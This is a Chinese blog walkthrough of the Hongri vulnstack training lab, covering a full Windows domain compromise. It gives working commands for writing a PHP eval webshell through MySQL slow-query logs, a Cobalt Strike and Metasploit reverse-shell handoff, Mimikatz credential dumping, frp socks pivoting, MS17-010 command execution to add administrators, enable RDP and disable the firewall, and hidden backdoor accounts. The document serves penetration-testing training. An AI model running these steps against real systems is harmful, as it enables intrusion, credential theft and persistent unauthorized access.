红日靶场(一)
Drunkbaby Lv6

红日靶场(一)

0x01 环境搭建

靶场地址http://vulnstack.qiyuanxuetang.net/vuln/detail/2/

虚拟机所有统一密码:hongrisec@2019

搭建环境可以参考视频 —— https://www.bilibili.com/video/BV13W4y1t7qB/?spm_id_from=333.1007.top_right_bar_window_custom_collection.content.click&vd_source=a4eba559e280bf2f1aec770f740d0645

说白了其实就是调整一下 IP,然后调整一下 win7,加一块桥接模式的网卡,其他的无需做更改。然后进去之后需要更改密码,我这里都改成了 drunkbaby123!

  • 靶场拓扑如下

0x02 外网打点

拿 shell

靶机 IP 在我这里是 192.168.5.14,可以通过 ipconfig 在 win7 中查看,也就是说目前的场景是拿到目标 IP 192.168.5.14,先进行 nmap 扫描一下

扫描出来发现 80 端口和 3306 端口存货,访问 80 端口,发现这是一个 PHP 探针

在此界面发现绝对路径泄露,信息为 C:/phpStudy/WWW,但没什么用

接着用 dirsearch 扫描一下是否存在其他接口

访问泄露的 /phpMyAdmin

此处弱口令 root/root 成功登录

接下来我们可以尝试 MySQL 写入一句话木马,因为我们刚刚在 PHP 探针界面已知了绝对路径

1
SHOW GLOBAL VARIABLES LIKE '%secure%'

secure_file_privNULL,禁止导入导出,所以这里没法用 into outfile 的方式写入木马了,只能通过日志文件写入木马来攻击

思路与 PHP 文件包含中的日志 UA 传马类似,这里相比更简单一些,通过在日志中写日志,修改日志路径,实现写马。

  • 首先要开启日志文件的功能
1
set global slow_query_log=1;

接下来修改 slow_query_log_file 日志文件的绝对路径以及文件名,我们这里已知绝对路径,因此直接写即可

1
set global slow_query_log_file='C:/phpStudy/WWW/shell.php'

此时可以看一下是否修改成功

1
show variables like '%slow%';

可以看到路径是绝对文件路径,也就是修改成功了;接下来向日志文件写入 shell

1
SELECT '<?php @eval($_POST[1]);?>' OR sleep(10) 

用蚁剑连 shell,拿下 shell 之后准备横移

执行一下 ipconfig,发现存在两张网卡

CS 上线

这里先需要用 CS 起一个 50050 的端口监听,命令是

1
2
3
./teamserver 192.168.5.8 kali

// 对应 ./teamserver ip password

接着用 CS 去连即可

连上之后先生成🐎,这里如果是 kali 开的 CS,IP 就填写 kali 的 IP

再用蚁剑上传文件

通过蚁剑命令执行 exe 文件。此时可以看到 Win7 成功上线

0x03 内网横移

内网信息收集

在横移之前我们需要先做信息收集

1
net config workstation

可以确定当前域为 god.org
查看域内机器

1
Net view

可以发现有两台内网机器,同时确定域服务器名称为 OWA

CS 此时已上线,我们使用 hashdump 抓取密码

运行 Mimikatz 获取明文密码

msf 接管主机

接下来联动 msf,继续进行渗透,在 kali 中输入 msfconsole 进入msf,接下来利用 handler 模块开启监听

1
2
3
4
5
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_http
msf6 exploit(multi/handler) > set lhost 192.168.10.128 // 对应 kali CS 的机子 ip
msf6 exploit(multi/handler) > set lport 8888
msf6 exploit(multi/handler) > run

先开启 msf 的监听,接下来回到 CS,右键选择 Spawn

设置 Payload 为 Foreign HTTP,监听ip为 kali IP,端口为刚刚的 8888 端口

执行 shell 命令,此时就可以接管主机了

接下来搜集补丁信息

1
run post/windows/gather/enum_patches

搜集电脑上安装的软件

1
run post/windows/gather/enum_applications

发现存在 nmap,已知这里存在内网,我们这里添加新路由

1
2
run autoroute -s 192.168.52.0/24
run autoroute -p

接下来去设置代理,这里使用 frp 进行内网穿透,首先在 kali 中执行命令如下

1
./frps -c frps.ini

接下来将 frpc.exefrpc.ini 通过蚁剑上传到 win7,注意这里要上传 winamd64 的,而不是上传 Linux 的,修改 frpc.ini 内容如下

1
2
3
4
5
6
7
8
[common]
server_addr = 192.168.52.130
server_port = 7000

[plugin_socks]
type = tcp
remote_port = 7777
plugin = socks5

接下来执行frpc

1
frpc.exe -c frpc.ini

可以发现代理已设置成功,直接对内网机器进行攻击即可,扫描机器存活端口,这里要先退出 session1 会话,在 msf 下执行这些命令。

1
2
3
4
use auxiliary/scanner/portscan/tcp
set rhosts 192.168.52.141 // win 2003 的机子
set threads 100
run

扫描到存在135、445端口,说明存在SMB服务

接管域成员

win2003

首先扫描机器版本

1
2
3
use auxiliary/scanner/smb/smb_version
set rhosts 192.168.52.141
run

发现是 Windows2003 版本,那么接下来我们验证一下是否存永恒之蓝漏洞

1
2
3
4
search ms17-010
use 1
set RHOSTS 192.168.52.141
run

可以发现确实存在永恒之蓝漏洞,直接打

1
2
3
4
use auxiliary/admin/smb/ms17_010_command
set rhosts 192.168.52.141
set command whoami
run

我们的思路是添加用户,升级为管理员权限,然后尝试手动开启 3389 端口实现机器接管

1
2
set command net user test hongrisec@2019 /add #添加用户
run

接下来添加管理员权限

1
2
set command net localgroup administrators test /add #管理员权限
run

接下来尝试开启 3389 端口

1
2
set command 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f'
run

然后用 kali 自带的 RDP 去连接

1
rdesktop 192.168.52.141

成功拿下主机

win2008

因为有过 win2003 拿 shell 的经历了,所以 win2008 大致上也是差不多

扫描域控存活端口发现 135、445 存活,存在 SMB 服务,探测主机版本

1
2
3
use auxiliary/scanner/smb/smb_version
set rhosts 192.168.52.138
run

接下来同上,执行命令,添加管理员,并开启 3389 端口开放 RDP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
use auxiliary/admin/smb/ms17_010_command
set rhosts 192.168.52.138
set command whoami
run

set command net user test hongrisec@2019 /add #添加用户
run

set command net localgroup administrators test /add #管理员权限
run

set command 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f'
run

set command netsh firewall set opmode mode=disable #关闭防火墙
run

随后登录成功,但是这里需要我们去到 GOD 域,直接的 OWA 域上不去

而后我们反弹 shell

1
2
3
4
use exploit/windows/smb/ms17_010_psexec
set payload windows/meterpreter/bind_tcp
set rhosts 192.168.52.138
run

给 win 2008 机子创建一个隐藏用户,并克隆管理员账户

先看一下目前的用户

1
net user

然后我们新创建一个用户,这里创建用户我们可以加上 $ 符号,这个符号可以使得该用户在命令行中隐藏。

1
net user drunkbaby$ drunkbabySec1! /add

这时候我们再用 net user 查看,发现并没有 drunkbaby 这个用户,但是在用户管理中可以发现。

具体参考 https://blog.csdn.net/Auuuuuuuu/article/details/86746597

0x04 小结

总体上算是 Windows 域渗透比较标准的一套流程了,不过一些难点比如黄金票据,白银票据还没有提及。

 评论